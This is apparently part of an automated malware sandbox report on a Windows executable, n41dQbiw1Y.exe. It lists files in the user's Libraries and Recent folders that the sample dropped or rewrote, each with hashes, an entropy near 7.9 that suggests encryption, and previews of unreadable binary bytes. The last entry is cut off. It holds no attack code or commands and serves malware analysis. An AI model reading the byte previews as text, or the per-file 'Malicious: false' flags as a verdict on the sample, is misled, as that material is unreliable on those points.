Preview:	<?xml.M.6a....}b..C..9.,...h..5.._..)^..!.h....N=D.~.........Q.y........F{i.:.D.]...O.nx.r=..A.Z...iW..i...g3....n.<..\|.Q..N..:K.^N!.'......6...Y..eA]Kg#t.q...ml..$S.K.(c......M....S...c>ez._....1YJ.VjH...St..{...I....(..p.<..Z...?.W/...A.6L'..(Nv.....o.....R[6I..;..hEE.......'..0j..r..Y......A?.$..(.!.....&...k.`B1.....#....cz..W_.e.2p4........'.E8....DD...d".$R..)"...)^.>.,v..r..[..\.F..C...._.OF\|...w.N.D.+TN.i.....K7.....BK&.g..\.....v4.N....<r..BH.. .....}...d.O.@>.p..C9..q2`'..NeP.b9.E.}...1.?.u.$.<_....(..FP....j...y.Ww.<._YR...........Py......0.8.....*D.......h{..7,.q.B.?B......d.9..............x.$."....R0I....@X......(.n..b.@..(.N.0i....j.."B.]t...V.Ud.p... ......m......u....h8.U.......u0".&H.&...>.rM.%.Z.q......#.S..o=..X..>u..3.L.(4.?..(...b.dm..Z...8a.V.yM..U.(tK...S...\l.^..M.$ff.,..... :.C:Q.q...-}...f~..Re...N.Fk.3<...,+O.g"U.o.....Y.u.U...u8.H.t!.Z.x....X..L..J.)....4.r..T..Hs.Rw%.f.:.Z.l\O.&E.'....j..aS......e)

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Documents.library-ms

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2424
Entropy (8bit):	7.913184194410728
Encrypted:	false
SSDEEP:	48:QirBWDdEHdRTvVMbWaWG3jeAkAWSmAqlI9+RHsLGcVoWmw2D:QqBWORTvVaWa1KAkrAqlI9+GoWmwu
MD5:	3CF044484FA44036F615E01267483BAE
SHA1:	BF211F08569C94C6E7240DFB9850127FB58857A4
SHA-256:	0BE6CB4BF1A7B53B3108FCD346F44F12C441A7A55A5B04C0C7CAAF3C02D2D6DF
SHA-512:	E1C1518B17C5D2E7E9051CAB382966776B418C2DEDCDACC8230C9EAB4BD2B1B34428F92A7CBF919B543511DEF7685E9A5EE4BC0511CC1BFDEE349B5196E77399
Malicious:	false
Preview:	<?xml.\|8P....p..rf....E...SZ...-ZHF.@.Y..l...._....O.oqvx.Q...t\....Z.m........$.8]r...'.d.-U.q.X."Y ..3?f....[.....p.. .S..>.6.F....`.......;.........~..DS.\.....!.9...OA.E..W....[....1L.Z\ ..Y.:.i..yG[N....Q`E......aB..!9./G.k.."iN.$K.[.]......~zDR..8.........5.....;..T.^0...m........@H....{].g..W8gV......P.:.U..?V~.....dL.#....a..../I.....NI..w.G.F..Q.....j.kp..A.....T{...O._]Z.XO7<..n....l.q.dDq>..(..GC.wu.....:W....9.].M.`.......b..`K.[....=.?..vZ.;.vq.SAJ(...s...Y....D.p(P......zc......T.(.o.%.3]03La.......%...F..I..@\|./#8..>.....A..`..../..l....w........"....E..j...?6.U....,.g.A.J.r....]tE.v..h.}~......C/.u..b....O..8.-k.....>...[W3a.L......Ue$.21WSrC..<X....Y.S..u.....gq......@...L...-..s..-.)[...<.>d..^...5.f...\.qE.....G.s.6h)@..X.[.Ch...UB...B...vhS...l...Y......W..1.V.HP4.[F5.....{&F?W._.T2..%\......L......P....7.?.`w ..BR.Z}!..\|.[.....9..O[L.3_........Hn\9..OaL.....uz...S.b`.CY..T.....9K.^z.......a%...9...Os.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Music.library-ms

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2381
Entropy (8bit):	7.918909817923244
Encrypted:	false
SSDEEP:	48:8EMWYvYsmv2TPPDkWLZy4O5JermnXulnO9Sg4d6SM3D:8qSYQbPQ74OzeqXdSE
MD5:	CCA453B5D96BABCDEFC88A9C6B173FCF
SHA1:	D6A78A4529E63131C3F13EA969A66BA7A6674E2C
SHA-256:	A0340343DD460ECB1AC11760A3E88F8E9D4404AFAF38D6EA549A317B6C334CD9
SHA-512:	572F4295333118E04D0F97211679416FA99D81A6854FC8E2D8CAC2C86696CB02136BA495BF638B405A67703B4FF3006FCDC3347ADACB7FF92B470D64E892B888
Malicious:	false
Preview:	<?xml...m.10+..fS._U..Y.x..?.H...$K3c=....0'.(...r%.T.C. /.35M+Gql.%....'m.Z...s[..`..J..ImWY..UB.....K^S.}..%........n.$.^...0.....@0...7...`....nEeN.R&..-...Oh.R...)..P..'O.h..1..Y...,.:.n......".U.(..........!.(T....f..CGT]b...CC.D.z.....y.y.!@r..1..=.I6.....r.>......$.........I.S..>..T?....`j..^...8."$U....gJ...Eo.......w.2c...3.e.KT.....Z..{C.Q.JW3..1.m....M..t&c...;W.B...Ldu.eM...sz\..:..C#Lm.+nv.j.j.X...e...e.BN...H..>..P.C.../de.....`AC.........%.2.UG../h....$QI..$..'..f..Yfv.;.Q.S.+.U.y...2.....ru..y.dV.E.{...!y.k.F\|O.%'..M........S..,.........J..%.~`&....~..c.._e.P{..Z.\:.`...Im.n.*......1....t...M..P-.$..\.7^..^Y=.#.].. .L.C....u.l.=}.o.?t.K$9...AK.o./.{..Yh.6....5b^.=..p...D...W.'..V....G0..]..p...[.3.....H;..r...A<@..n.1.y.........Q....6!..Y,r.xQr....9KX......\|..8z.S-....M.j..6.&.T.pH.OG..N.~W...QI...h.C..w....>6"...l......T..&.....\...wc.T.hu..+M....x\|XC[X]F.v.}..L.......G.HK(.G.........9.....%.%dv=.d........A......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Pictures.library-ms

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2398
Entropy (8bit):	7.921128437108352
Encrypted:	false
SSDEEP:	48:ayllPJ+5Tq8s17+MVqApI0BZXdB9wP+NPGh4mLGn9QTqkDxD:awR+5TrHO5bnPga97w
MD5:	132E7DEFC1D92C20153C5CBCD3479F1E
SHA1:	51D7BAFC8617767C119413E505AD2B162FB69BF8
SHA-256:	D6069FFC13EE599656C4E9AE6C8A7FB8A28D34856F41E48ED17AB415D16F37C0
SHA-512:	B2D230DEF1095F18A56C9FE25F585BAFA3028C5FE5CE6199BACD457D78259F34E0F6F1B50A38802CECC49F1A6A9C9DBE08269D797C9BA2BBCB7BB12F71719094
Malicious:	false
Preview:	<?xml...Q....3tI..Y(.n._q.I9=.;..21...:.(j...K......6.7...Q.Q+.....L.....Jc..IO@[..\|.....T...6..T.]...P.....q2G.'x.{..C..w.]...$S5o..+qi.....0.r....r..7.)...RRa..& ...f..?......`.;1.h....".4.X:.-..p.U..D....h....[.d/..@..$.aA7N..I.....]"......T6.rf..[...op.V........Orf.....)...U...W2...].[.....%n.s6......8..P...;.%a .yRaa2.M./........,..}S.t..7aX.iZ6d.....N,..o....(qQ.d:....VR....S(.(.* ...(Z.=,.=./2.S.....X..mhkbPmr.Y..Z..~Y.wO.....(.D!.S.r...!..u.l.......~".q....`q<U......4..f.:.Ry...n..........h....l..nA..}=..vGVb.......xn{....b..s..C....;2$. ..\...>..S..........l.jR...]J....8s..S..\...9.A4.^.U....9.....3..ot....u}.........Ng.J......4....0G.....6..o.{.,...N.Mj..\|..!.xo..... .i.......u.-e..f...<.aG...;Q.. .E....:....P4ZBj..w..*y~....I.h.Y..z.}t....4,l..d..9Z..?..Su.?E.M...t..A.......5..;....#.a.....}b.dQ.]....y.:H...l.\|.2...'L.G....ZTB8.zx...1.Q...\R.uu..?....r..7.h.~j...`k#D.t.......^..V...L.[B.....F.1?........S..k'#F...R..R...HO`.....k

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\SavedPictures.library-ms

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1358
Entropy (8bit):	7.867431594803589
Encrypted:	false
SSDEEP:	24:uoq9U0TiwR9zL9uejA+NqFUM1a2OkDVwpCwWyJXXJrVpFQdKs/MmbD:Bw30nE9M1r/gXXLpadQ0D
MD5:	F9B507F81FD38F74BC7B49DAB08A8057
SHA1:	CF008569E9CC436E01365B8E44B153026C91D1D8
SHA-256:	F284C73D2C1743158CA02CA81AB880EC8674A7A72B2CFBE418A4EA89956D1971
SHA-512:	F8CA8C68FBA3FD008A408366730D4ADEDDD98600379781EB1B7A0378290B6E1089A7868D9DE2D415292519E370DC0164538377658309FEBAD45AF6F3074675A4
Malicious:	false
Preview:	<?xml.6'.g...WVq.T........+)4...[...r.......2=.]$..,,x.....,.hYr.R..E....`...w....~.f;....'..R../zLZ..bh:.vdpAk.wvK...m...I-.C..hP.. .............Z.t.....<M..6R.......S>.-......<Y.i.7.W.pi..laS.\.+,._.[...c..............v^..'..L.}...(./K"t?JRn...^.... k......m.....<0w?I..p1.....0!b..;..w;'....%..;....j6sx`6...2.P..}.-.5......Q..f.@#.G..>..8..P$.TK..a..@..u..E.}...Lq... ...5......&i.m.....=:Z._K.4..P..pO.v$.....\|.n.t..FPCTA..=w.....fD.^%:<s/...R..V%cl...Om......ane.X...'.......gF.~...?_\|..ov..L\|.F..M..md.._{T.$~2..w...4...a..2.....\..ku...%.%l...I...%...,.Z..e.(..B(..1..... ...M.\Z........>.6..v.<..A-.......I}....r..T.....x.0?.*p.i=..d.I.l....}...[.i.a....Hp...M....z...Z....eo...2VA6..........!..w....U.D.C...R.....z........1.I..J,e.5.CF........[.x&.Z......>.k...U.4..<..c}.U.?.Ni..FB...ZC..G.S.......Op.#......[...W..Z....v....{31.c.?..m..[.;!....Gm.....7.............r.H\|....45I.....f...A...B....f..b.=W..G...g.KWM=.a...^{T....F9."g

C:\Users\user\AppData\Roaming\Microsoft\Windows\Libraries\Videos.library-ms

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	2409
Entropy (8bit):	7.914163548975767
Encrypted:	false
SSDEEP:	48:xBSj/goUbhT9vcpKuXomr1BZHgnD1UL8vb2TaI4vES1jryD:xBSZUdT5ih4mZ/HiqLMkaIIta
MD5:	91917EE4AFCB77320A114E17E2F41918
SHA1:	39197F1CCA30A724E2968B140EE84C9A69983ED8
SHA-256:	26FAB4A8100D17F61FB23FF5060A04B5D0181A9221EAE33689774D1E0D5E1B1C
SHA-512:	A40D9C02E3EA4027FD5B4FA470DDA2AC089F53210A7EF46AFDE5B3F9E87A2DE4C7DCB256184634279E28441552C4FCE3D2B1CAA21D3ED92A44E8A283AE6A1CE9
Malicious:	false
Preview:	<?xml.v..L.p.dlhd...I..%..o.........&H...9we....?.n./8[.....E.....]n.A].n.SF.a3}K$.I...]..0z.....$._u.....;.....v..M.}?.M.M.@"...64..o.j<Eu`.1....7.).u..`...d....\|/......p.+.E.d......&..&..{Y..E,.........E...c^r......@...o6.=.H...'M.....l....:N....2.....V.g.../3`y59.1,.}.4..3.q.g].$..<..VA.?_A.n.S..5..1.~..Y......k.x.@.{~.@>,.c..^....\...0..z?....$..<....'..x.?..FR.W]}...@..!....#.I.w.....5.+...&..\.....h.`\|...YETz6.[<......B..8.U2..5.t..$.....>..(..H!..]U.xW.RZ0..YT...P}../...Z..;S..Y.....~...,.....;.y....WJ.[..../o5./XF...t...J.\..J..p$p.c{:....P.\SZ..o..y..]`..\|..r.Z.!8d.....-.3.Sg;s...A.D.N......j.y....b...+.8].."...(..l....P.....qS..{.f._.E.>8...-..A.....0.D>..u.L.B.y..ib[_y&.Xs...v..e..x../.V(...J&...fq.cu.>.G.H.. ..%l....:i..=.N..GWJ..S..\|.E"(aJlBk.I.+..6[=.!.'.(.b.W..vr.....L'.,\M.A...c..b....9...s......\...w...P...b..4...x.W..A.X..l...l_.Gu. ....>..o]e.xq_....5.<06]m.Cr.+r..L.d..; .>.._7..).a.#X......-G.....\|...y,M..6H...7.=}.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\ANHVHMGQLM.mp3

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.853216451626695
Encrypted:	false
SSDEEP:	24:d/NDbSRWVMf3/8oZADJOdOkU4P2UXB0QvB/mt2I73zUErorntR4/lHe/vNvfbD:d12RWskE/vTXCQUt2I7jUEMcZgVDD
MD5:	A3D0D95F0B74A0BA62ED7E56D9045471
SHA1:	5FA4704CD9824EFA0F07D8A4E0C7976F6123B866
SHA-256:	2A96D4A28F8AA41332A9B8832BECEB796B665DF18348D850B4FAA082B4EA4F8A
SHA-512:	06FFBA5725A174713906F996EB1027FBD8F077949E746B1DDDFF41EDD30CFD0AB5B920B2B79B56ADABC78CCDD77333BE8F1EDC4806FCC2D56524B38DF6B20016
Malicious:	false
Preview:	ANHVH..r.Z....3....y.f..h.*..3........45....\x..{..U.c.c....l3,.uqo8.T....p.)......Z.....#Kk'.EDg.u/....]HkB8......J..F2Y..2. ../Ks..;E...~..(o..G..hO.H[2...Z..Kp..J.....SJ....._.....#.wC6..Xcw.m..-..G.K.....8<[@H/{....13.x..3Y.....1..0\|]...\|...C#..R.......W.o\|..^.h.[..r........ys.R.(.#...._1.j..W.Wz;....DP^...C"....\|...2._..M...uG...{..\|..j...7t{.b;....px..vn.Rd.e.?.e.`nsT...f..7-.....X...B\|uS..1.:.4i.'.D..m....._P........LL.....;.....S....P..u.r..v..U.]gUj..j..Z...d..C..L..Wl.....V..x.R[.F..0..R...).......+]...G...<..+.)..V\"<m.v.+...2_y.......x!.e.2G..m6j.U...#l.......~.o....=T..P...C..\l.....[_i.n.5..xT.%...&.........W.M...n.....0j.`[\|.\|.......06.@....s..1k\xz],..g..M..b.>lv...D../.o...9Z..H..~c..Ju....<...............r..SR..9....}...F.'.y..:{.m&....e_g.T.7..Qp.S_.........u.)..n.7#F..{3.kTL......1ZH......z.&.G.w....0r.>......e...>.?.(Xs.;.j...bg..V.d...%..I#.\|<.\|.F...."...H.8..L.{D...s.[...=KF....%...C.3....w....6..vdK.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AZTRJHKCVR.jpg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.820825646686952
Encrypted:	false
SSDEEP:	24:wGwp3uYrf41yyzDLqNUbapPVe5W4WkCZNTjnoBiF+4AX9Pzk6pOqq7bD:wG23uK41Bv7bsPw7kZZJFtWLE/D
MD5:	FE9B9BFD805AB80941641A36EE814514
SHA1:	FCC21D5DAA2211DF8A256700414C1CC8236D135B
SHA-256:	3DC2906709A94954A6C2E469A792F5F0FCD653729718B7C9B139295E4C2CC146
SHA-512:	DB1454D8C732A9A092FE96B8A3BCAE39EE8531557E042252A63221910B6C5D61B488ED5C3DA2B815D032A1D3E620A5716052435CDCC3D687129442EC79F78FF1
Malicious:	false
Preview:	AZTRJ....-..vIJT1-....x<gyr...W.lR.I.$....3.b..t....\|.GP.\|...Wl....T.4..<r......._.....]..=.'.:.s.0g.......R.{+..C..YT......c...C.+.....W....K..S..^-....Q\..=-.......%o..n.#..\f.{t.7...;.+..0_...44a{..,.5k4bn.5`K..E.b..7x.eD9i..u.<..(Y9I.>...,..e..w..c4...r..EW.9b...ry2`'...[@..E.5.)s..D.y.E...f.(IZ."...%.....2......(.D9.13...:.D...E.Pq.E.0J2.....:.........w.%.R.+3..I..y'.hU....1o.....ky.x.I.E..H.@.....].:.p:X..D..Lg.\|.L.F%]...G8.n.<Z.....^.....V....A.K...vU.:.ru.~.x/.jnz7.......i..........)...7..^.X..a.X....l2...>..a....c...O...}...Fg...T..).......Jb..nF...R@.CfI.@O.. ).+Q{B..........))\|....2].j...)...T..(.5.B...:n....6'X.!$.>..8.A.&..f.oUxu..\"..g?e.)^u.G...bu.E<XZ6Q."B...8.J..e..wT.2qR.~.:...r..!...$'..i...^?...~B..,8..~.V.A.Q..e.W......c8..D.....cS.=..&s..U.!.Bg...v...-...lO\|.G...F...._<V.Q."..j...i8z.D..T.......V..MYa.TY.F.0...V..w...a...~...LY..J.D...Z.H.eR8`_7RiAu.....v......`....U...6.,......."..5\|..c.......3.:..f..a..kV..Y.@d..4c

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AZTRJHKCVR.mp3

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.856560387148322
Encrypted:	false
SSDEEP:	24:5A3iY57XRhCFFb+CXk/yheIahbwyijNGzAu14+Mn7+xlQaqT3bD:Ij57XRCXthXJlGzh1H5SD
MD5:	8512CE024694947842F9070439B5E625
SHA1:	D1C53151132A76FE3DC191A247502A577E4EAB9A
SHA-256:	0BE73888BAC678808AFC299D67C023C432B42118CADC6664FFA34089B72213BB
SHA-512:	E8F2D7A31BE770EFAC0C6CF7CC4955070E16D514674C4E29817D58AAB71D5D6F7DD46EEA1174F12BA29060493E0A4F50316F1B30177DFFC381D6017194F4491F
Malicious:	false
Preview:	AZTRJ..\|Qu .9".CH.6.S.h"(t?...z\.?h..S..6....m}."a.c...2k.W..A..^.8.4/.h^/.^...5...<...0./...f.TG.4.=.B.Z...j....g.na.l].#.3G.^h:L....U..0i.(.\|.........E..B.D.O.k.f.._....]+.+.b.[..Y..{.....T.@\...Z.n..v..:...7.Y.s..w.&..>b..^...........C..E.....;3....?.>..6...l>O.<H..o.]...d...........\|..[....9.o....m.....h..,...C....U.pUf..Dg?.@...\|V..I.:.:V..J.0.-?n.f<.p.z.........!.n.i<q.QM.........l...q..L3.w.E.,....o...\.I.r../........SL..eU"..0..m.......#.....J..\|..Ni.l.N.J).Z.6?.E].%.p.=t8{.K...Y.K..}..b.`..n.n.6.[...1a..)V/......2A.O...\|..R.C....<...A..,...p.4\|..AA!J..... .9JE...&..].z_...G].!..-..G.....v`O.>....)T#.em.4$.X./B.7.e[>.U....!....EW..(....;H....G..5HP`.....^.....`(..+K...(.`..&..\|L....x._..^v.@.+N.. .g...#....@.A....}.\L.Q.5.W.H.C4#..B...7.?..t.%..AH.r..p~{..a.}..$....Y....I#r..).?..Y!C..l.Rl.O....+0....`...BJ.M->..NHv7R......$..%...H.F..YgN..).k.1./.wd.......w....!..l....._v?..Z.....S-.?.UcO.r..*.J.1..~...;...(.....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\AZTRJHKCVR.pdf

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8464484171300235
Encrypted:	false
SSDEEP:	24:y1nJgPmzjZOKdRqVpaKefhhy2z9WEE4ltQN9Lmi88DVVbD:enMWjcKdcG82zcEE4ltQ7mTSHD
MD5:	C638249590B8D713FA8C9A0E6E3E6ED8
SHA1:	6C03211EC6E0CC5702FC8FC737E5EA5AF4E8B937
SHA-256:	56C428FAF1C3309D898070BCF623C7AEAA5ECCCD62A7B618088712B3F6D4A12A
SHA-512:	627DE874F88D65B3BF11D54271190AEDD381576F80D2C2F0D9FA5B5A38C03632A0D27B08DA446062AE30F84C8B4BF521BEA8E8A763423A42B398F09BA4E915A1
Malicious:	false
Preview:	AZTRJZ.e.b..OA...P..".....d&..cq....B.&......W.....R ....W.!>.%x.`.>1.dlJS..0.y.r(9......f...2.....j.....f:.A.6P.=t.le.@..........N.....2....P.m...Mq......t.....4%.d.c......t..gE..z:..R......%^P....(3'Lazqj..9f.........Ug....zv.....A1...b.......U......:.&^n.tU..'TD.p....+.....bN1:....\|H..{.W.^.M'O....g...j.YN....j..%........ZFF...p.2.e...1....Kp<..S...V..hR".,P.yjyg.b....C.3....mv~.x.~...Q..OG..>l...G[.\....&8..Q.XlyE5.....~S.....?.K..>SF.n....v`...y.....C...5;N.......'...\|;.."...N...=.5.l..J.....p...vZ.n.e..v ..........q..A=.G..B....7..i........0."....b...cl7R,......")x..n.+%...)!..a%As.......r-...px.l......&#.`. 8.!.t..>.f...~.v.t.B.........%.i.....&_c.3.n.....`...A}f.w6....Bw..Y.dnFvPQ4(819............w.....{.o..........{q.SU........r.['I.~..<..U..V.m$.....4....?K...yT...g.m:.P;..*;.L;P.T...m[x........\|....pR7OT.W.1Z.I...[A\|hM./.K./..G.\.=+7Fd."....~.U.x..6.Dq.]T...`..r6....9EIR..o.T.z.'.>D...^Je5...iT...x.G[\|/8"8....1..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\BPMLNOBVSB.jpg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8522291528499215
Encrypted:	false
SSDEEP:	24:3OeBOfA+Pgc3txsMfjZAWZUFKitYbYqpuTCUKf/8VcUmKlyHNAQp/fgKOibD:3OsSA+PL2LVUbpfsVcUgHdpgKOwD
MD5:	53E1462FB19B3FB69744B2FA91D4C34B
SHA1:	31B568A449026E21659CA71278E2F16E572A61CF
SHA-256:	172F3D6DCA130DD4E134C628DDC8093F88F7303EB739E9A9CE36D5D4CBD06F72
SHA-512:	3C4ABF1A2D32B5B008538C75D565A12231644072CEC0E595ABDC138576C37A1FB752D5A0E50B0E56D4894B2F7DC0F75309A27AA40630429E06EDE1CB6EAD4651
Malicious:	false
Preview:	BPMLN.w...x...9X..n..0..A..5...z8.w.s......x..j.pA..-..o.T(.5.......V......_....m..{...t@....O.N'.n..l.1A.....,`X.g]..W.UZ.\.fZG.!..U.@7........!.....q\|n{1z\.d./.&.....'_N..Y.. '.WC...{.O..KX.&...o...#p...Vt.9^....J......,xX.%H]....y..o}.ja...u.......g.cE..x..2r.Cf..[?......C.9_..0.-.g3.&."....E..}.-....%.K.c...lM.".0.-.._e.MA.+.U@.+j.]o.......bK....Y.o..H..I.....8ew^../(.8.-.`..$.h.C.r.....0..8f.>....3....ct...c.s.s.ox..G..T...Zr#.\|.......q.S...@.Sq.62l"M..xb......7..B...v....}..9.4.w%....J>..a.).82)>.....a..u.5.p_`.+"5.G...`g.w........A..f\|...`.0J......N.Y....O.h.h^.v.....+wS...._..e8L.'e;.$C.#9.O..U..)..g.`h.3.\RFX...a.,BHj....(..........h....... .....:a..4[-.X...i...Z...vX-..y.&..@....5..v...9.7.T.9...Q.d....m.{.....S..-. 5vU...y.W..Hx\|..n+..#./)...E\1....i...C..j.x9..]]X...6.y.,...8....:55K.=....e.MN.c.hO(.:!.=q....y....v.m.<..`...m.a.R@........&]d..gQ).i.o%..%...a..]...9a..w..y......f.D.....I..}..[.......@....ar.Y...

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CULUOHOPZT.mp3

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.866296426030788
Encrypted:	false
SSDEEP:	24:kyUYHl9B67Gr/2MnklJ6IrsGAiQX+18vKJNiWthr7EAd7nhoHXKfa9vYFObD:kybl9KGr/2BjrsGAJX68vKNtVxoP9QFI
MD5:	F61ADD2F1DB242FA8903B51D466BE83C
SHA1:	227DFD7A42888CBBD0133632C23E9134C74D13F0
SHA-256:	194D365F3C541C852A63B817760324B12A0D1BF056D420426009EC6AFDD3992F
SHA-512:	CDEF2AF6FCBD2C7A6E463FA8599EE9A0960A5FEBB1B1EE79717B4F202231B276A10FC7B3FE2B03E342F43A81749689E9F4DFF5A0AC48942BCE43C067907F50D0
Malicious:	false
Preview:	CULUO.4...wa.L5.r.B....)?...Y.....r .....P...h..9.N.1.G....qh.e]m......sG...iwl.._.........;j.7..6`V.~?..I....>o.T.`...8C...6~....;f.b,...U.......N..+s.P.<..:^P...8...-`.....o[.[.....9..Z....b...k...f\LK.Wf1)..on..~9.......;U.i...!.!i..3(.}.j..9.....v.CY..A...DGD.~t1].^Q..<..F...]...)e-...;Pk.mp.W.4B4.n.._w....q$.#.F.....+.C...O.XwO~...j.S.ii......_@.Q..C.U..c...c.:.y..._.k....L......l'M(.]...`.i....Mq.2....<:....&.O0...Q.U..xa.w...x...Y.$..#.#..H.a..T{.!...X......[&.MK_p.e.%0.6.(H\.'5....D.....2beN...J.^..pe.4..hA-.....u.....x(....4..M.\L{...7J...V#9..yeH.DP...\|.`f.x$Z...L...0......_.n......,.{0.s.8cM[...1...0>..U.Q.....:r.4U..%z...........:....}......i+O<...j...`.`l..R.$<0...]..z^......x.. .u\|.....;`..s..,...2z..1$......R...)..o^.^.9^E7k...yRC..AR2q1.iL...P.......".^D.s=.z~.....Z.Pp.*.p..aZ.</[c#0./K.<."T..@.9ZU..[CS.<...`........]..yKF.2..I.R.U.....!.#,....,...2.-...N{..C....i.-{.t.l u9HZ.u.C..3 .0.W....r.p!%.E-.b.1.j&r2. .}.{.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.jpg

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.863910323716267
Encrypted:	false
SSDEEP:	24:q4g1Y4xiuMMGaSaDV+DF1fnCaT9aUEc2ab8ORJBB7+k42Lej47wbD:q4g1HxiZwV+DF1PCaT9Nr8Oz+Xj47qD
MD5:	DD8EDBE25491DC9333CDCCD644C6DD4D
SHA1:	83548F21DD62C785E305F90DAD29543DD7E4CC24
SHA-256:	007A2F0D21DA613F954214B1B2A6205BA2354F768EE83F65A75818B16F23F06B
SHA-512:	96A44904C1AB9AA50E48C1E5F584AA1B85F7FE7B91C723BFFBFC13E469C9FDF58A7CA73504B254A82DFF460AAD2FF77F5AC1440176F9CA7FB19DE8BDF6A06663
Malicious:	false
Preview:	DQOFH.R.P...i...t.\|.w..nfd'../..\......!..;..~.x....==<e.}<..8"..ef...$h....<...Y..^C..".K0...k.k5p\|..c.4o.B....._^......n`.....(8..Z.'}..6.r.%T...g4./T.EL..T8........L.....2..'t.W.=^[.....kw.J...m........ 8g.\|.N...9B....F6.;<u..#%...%...X.Yk.......Q......':Z8.D...aEc!.0..S.... I.<jT_........A...{..G.b...K...hv..'.H...Be.\..\1.d...w...K.SC.A../...O .L.......3....%.Q...3...d..H.2.....R.t..Jxy..H..{.O.HMvn..o..m&.:+.qB\|...J..Z.1...n.:']...M?@ ..+..#.3.UP.......p.W.P.....A.R...O....z.r..f9.....\|.......B...3k..N...o..E.K.....1.[..8.c...5t.y.S).9.......C..'..`jL+....C..D...S.;..\|sY.ita.(...z92....yg.z(....v../.;c...r......)...z...Uj..wHV.7.s.%.....V..6[:.'O.n..q0CF..Yn.}f.....D+.c6A\|B...x?.P....6}_...j.EY......y.4T../{.g.......#.m..1..5G..er.g8S...4.!Z.j.GK.)z..........3.2.`.....2+DD.$..;...C.Z....``.Q...M..5.....u.... ..5\....$.0o......_....N..a..;.b..,........kw.;,.#59.....G..w.X..4.f=D./...7.&...X..R....d../a...X..q.^......(,H{&.!...mU.H.4L.h,

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DQOFHVHTMG.xlsx

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.835788445492929
Encrypted:	false
SSDEEP:	24:DncjoOh4zxdX6cIlIuGS5h5QId2R++IZTsUbXw7Z43SEddx5BwF7JhnbD:bcEOSgcml5kjM+IZQD7Z43NddT6pJ9D
MD5:	2AFCD103FBF0F376CA7C92A806C500F7
SHA1:	389ED3A223BB09925D88F552219E360AEFD794E8
SHA-256:	ED79DA7EF2364F395F7F998A268EDF4D95ABE6DD0C84023A27D48C2BFA698832
SHA-512:	6373A52DAD109CC3528273DD4E123B34BD13D7734BB22C35EF494A869078B158EC08D08A629CCD2E3E53BC370584DCF756CF78565CC98F50B9ED3B9E34E4FD75
Malicious:	false
Preview:	DQOFHL9.F.+.\~[...&.H..V.CoJ.p;F.x.).pjJ...4........d..GAl....6.....L../....'...t.......3ZH.J.h.WH.I[..]....P.....T<......jm....D+....=..,..&..?.o.,.Hwz.U.......@r..m"...;....2....6.Z....X ..q\|U....K}C#au.t.u...B.I......j.1\.n....B....$...!.T.....e.F...F\|U..7.g..7vu..X..F...@m..P......(..!@..g$...s.f0..d..Z..<....E....W...T.(..:..:..~0N.Fi..<....e4>..U.........#..\..99....^..<.M&.0i...b.}o..k_..v.dvc.5.u....<........ZCW..c}k.=... .p.B$.S"}.a..6"A.q^.......K+.x.J.=7...t.R.O...._d..@.+z$..[QfG.{k.A....q...._B....M.,.+a....^`....o.\...kB>.!g;.+$U4...3.E-..&.6..pJ..%..s..z.-7U.......m.z.~......i.Dr1....;p..+..I.+....b{...1(s....d>U#...Po9....M9~37.......b.\(....T.....,._....x..B..GW.A.^....G.......`f.-<....s.I....MC...CI.l.dZ&V?..)..z......N+%.._S.:G...x.....?....N....t4.....A...CW...Y..5.....l..c. nT.D...^..b....<.....R.7\|...{...^.2X'y......;..i9.OG....?+.....OR.X!.......s..J....D.[....;,..#.pG.X.,.....=..,).!..if45..Z.$v1..G../s..'I;......'E.=

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\DUUDTUBZFW.png

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8561066986231065
Encrypted:	false
SSDEEP:	24:Vo+obob+RcLPzlUce/ZLD9OK7BndLydiEfMhvwhfQNybD:Vo+oboyew88oMhvfgD
MD5:	34C0EEC158938132C5D5E6E5DE45094E
SHA1:	D8AC9F69C1B8F467592926444F750C221A8255C3
SHA-256:	9E53F2EB04531D5CEA8BF6AF5722AE3B9B9C72BFB892D844D88983AA3BC3DE3A
